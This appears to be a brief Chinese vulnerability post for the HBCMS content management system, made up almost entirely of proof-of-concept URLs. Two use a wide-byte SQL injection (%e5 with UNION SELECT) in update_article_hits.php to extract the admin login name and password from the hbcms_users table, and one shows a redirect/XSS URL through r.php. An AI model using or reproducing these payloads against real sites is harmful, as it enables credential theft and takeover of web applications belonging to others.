poc:
查询账号：
http://127.0.0.1/cms/hbcms/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23
查询密码:
http://127.0.0.1/cms/hbcms/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23
xss:
http://www.hbcms.com/hbcms/php/r.php?url=http://hi.baidu.com/menzhi007
京ICP备10040895号
暂无评论